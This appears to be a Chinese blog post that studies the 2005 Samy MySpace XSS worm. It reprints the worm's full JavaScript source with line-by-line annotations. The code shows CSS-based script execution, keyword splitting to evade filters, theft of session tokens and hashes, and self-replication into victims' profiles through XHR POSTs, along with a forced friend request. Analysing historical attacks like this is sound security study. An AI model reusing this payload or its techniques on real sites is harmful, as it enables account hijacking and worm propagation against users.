myspace蠕虫攻击是xss攻击的一个非常典型的案例,网上也有关于这个蠕虫攻击的原理分析,
英文地址如下:http://namb.la/popular/tech.html
中文翻译地址如下:http://blog.youkuaiyun.com/ssergsw/article/details/9259743
看完文章的翻译后,非常感叹作者对漏洞巧妙的利用。
我对web前端开发是菜鸟,所以抱着学习javascript的态度,对这段js利用代码进行了分析:
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')"
expr="
var B=String.fromCharCode(34);//"
var A=String.fromCharCode(39);//'
//创建范围对象,并且返回对应的htmlText
function g()
{
var C;
try{
var D=document.body.createTextRange();
C=D.htmlText
}catch(e){
}
if(C){
return C
}else{
return eval('document.body.inne'+'rHTML')
}
}
function getData(AU)
{
M=getFromURL(AU,'friendID');
L=getFromURL(AU,'Mytoken')
}
//将参数名值对放到AS数组中,例如名值对为friendID=10,则AS["friendID"]=10
function getQueryParams()
{
var E=document.location.search;//例如 http://www.w3schools.com/submit.htm?email=someone@example.com: 结果是?email=someone@example.com
var F=E.substring(1,E.length).split('&');
var AS=new Array();
for(var O=0;O<F.length;O++){
var I=F[O].split('=');
AS[I[0]]=I[1]
}
return AS
}
var J;
var AS=getQueryParams();
var L=AS['Mytoken'];
var M=AS['friendID'];
if(location.hostname=='profile.myspace.com'){
document.location='http://www.myspace.com'+location.pathname+location.search
}else{
if(!M){
getData(g())
}
main()
}
//返回FID的位置
function getClientFID()
{
return findIn(g(),'up_launchIC( '+A,A)
}
function nothing()
{
}
//将参数值转码成能够作为URL参数发送的字符串,在转化的时候有的字符串是特殊字符,在作为url参数的时候必须转码
//转化结果的形式:mytoken=111&friendID=222
function paramsToString(AV)
{
var N=new String();
var O=0;
for(var P in AV){
if(O>0){
N+='&'
}
var Q=escape(AV[P]);
while(Q.indexOf('+')!=-1){
Q=Q.replace('+','%2B')//用%2B替换+
}
while(Q.indexOf('&')!=-1){
Q=Q.replace('&','%26')//用%26替换&
}
N+=P+'='+Q;
O++
}
return N
}
//发送http请求,并且将onreadystatechange 事件处理函数设置为BI,BK是post参数
function httpSend(BH,BI,BJ,BK)
{
if(!J){
return false
}
eval('J.onr'+'eadystatechange=BI');
J.open(BJ,BH,true);
if(BJ=='POST'){
J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
J.setRequestHeader('Content-Length',BK.length)
}
J.send(BK);
return true
}
//
function findIn(BF,BB,BC)
{
var R=BF.indexOf(BB)+BB.length;//R代表BF中包含的第一个BB字符串的结束位置
var S=BF.substring(R,R+1024); //S标识BF中包含的第一个BB字符串的结束位置后面的字符串,字符串长度是1024
return S.substring(0,S.indexOf(BC))
}
function getHiddenParameter(BF,BG)
{
return findIn(BF,'name='+B+BG+B+' value='+B,B)
}
//返回参数值,BG意义是参数名,BF是URL字符串
function getFromURL(BF,BG)
{
var T;
if(BG=='Mytoken'){
T=B
}else{
T='&'
}
var U=BG+'=';
var V=BF.indexOf(U)+U.length;//v代表参数值在BF的起始位置
var W=BF.substring(V,V+1024);
var X=W.indexOf(T);
var Y=W.substring(0,X);
return Y
}
//返回ajax请求对象
function getXMLObj()
{
var Z=false;
if(window.XMLHttpRequest){
try{
Z=new XMLHttpRequest()
}catch(e){
Z=false
}
}
else if(window.ActiveXObject)
{
try{Z=new ActiveXObject('Msxml2.XMLHTTP')
}catch(e){
try{
Z=new ActiveXObject('Microsoft.XMLHTTP')
}catch(e){
Z=false
}
}
}
return Z
}
var AA=g();
var AB=AA.indexOf('m'+'ycode');//AB表示从html中获取"mycode"的索引
var AC=AA.substring(AB,AB+4096);//AC表示获得"mycode"后面的字符串,字符串长度是4096
var AD=AC.indexOf('D'+'IV');//AD表示从AC中查找到"DIV"字符串的索引
var AE=AC.substring(0,AD);//AD表示"mycode"字符串和"DIV"字符串之间的字符串
var AF;
if(AE){
AE=AE.replace('jav'+'a',A+'jav'+'a');//
AE=AE.replace('exp'+'r)','exp'+'r)'+A);
AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>' //AF表示自我复制的js代码字符串,当受害者浏览受感染的profile后,这些js代码注入到新的受害者页面中
}
var AG;
function getHome()
{
if(J.readyState!=4){
return
}
var AU=J.responseText;
AG=findIn(AU,'P'+'rofileHeroes','</td>');
AG=AG.substring(61,AG.length);
//执行到这的时候,在调用getHome之前已经获得了hash值
if(AG.indexOf('samy')==-1){
if(AF){
AG+=AF;//AG里面添加上了自我复制的js代码
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['interestLabel']='heroes';
AS['submit']='Preview';
AS['interest']=AG;
J=getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))//将自我复制的代码发送到了服务器
}
}
}
function postHero()
{
if(J.readyState!=4){
return
}
var AU=J.responseText;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['interestLabel']='heroes';
AS['submit']='Submit';
AS['interest']=AG;//在gethome(),AG里面包含已经添加上了自我复制的js代码
AS['hash']=getHiddenParameter(AU,'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
//进行攻击的入口函数
function main()
{
var AN=getClientFID();
var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
J=getXMLObj();
//向页面发送一次请求,获得hash,以便于正式提交增加hero,因为必须有hash值才能够提交成功,两次http请求很巧妙
httpSend(BH,getHome,'GET');
xmlhttp2=getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}
function processxForm()
{
if(xmlhttp2.readyState!=4){
return
}
var AU=xmlhttp2.responseText;
var AQ=getHiddenParameter(AU,'hashcode');
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['hashcode']=AQ;
AS['friendID']='11851658';
AS['submit']='Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function httpSend2(BH,BI,BJ,BK)
{
if(!xmlhttp2){
return false
}
eval('xmlhttp2.onr'+'eadystatechange=BI');
xmlhttp2.open(BJ,BH,true);
if(BJ=='POST'){
xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length',BK.length)
}
xmlhttp2.send(BK);return true
}
"></DIV>